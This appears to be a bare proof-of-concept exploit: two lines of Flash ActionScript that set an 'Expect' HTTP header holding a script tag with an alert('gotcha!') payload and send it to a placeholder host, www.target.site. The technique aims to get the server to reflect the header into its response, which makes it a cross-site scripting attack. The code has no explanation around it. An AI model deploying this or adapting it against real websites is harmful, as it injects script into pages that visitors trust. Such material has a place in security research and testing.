var req:LoadVars=new LoadVars();req.addRequestHeader("Expect","<script>alert('gotcha!')</script>");req.send("http://www.target.site/","_blank","GET");
javascript:var req:LoadVars=new LoadVars();req.addRequestHeader("Expect","<script>alert('gotcha!')</script>");req.send("http://www.target.site/","_blank","GET");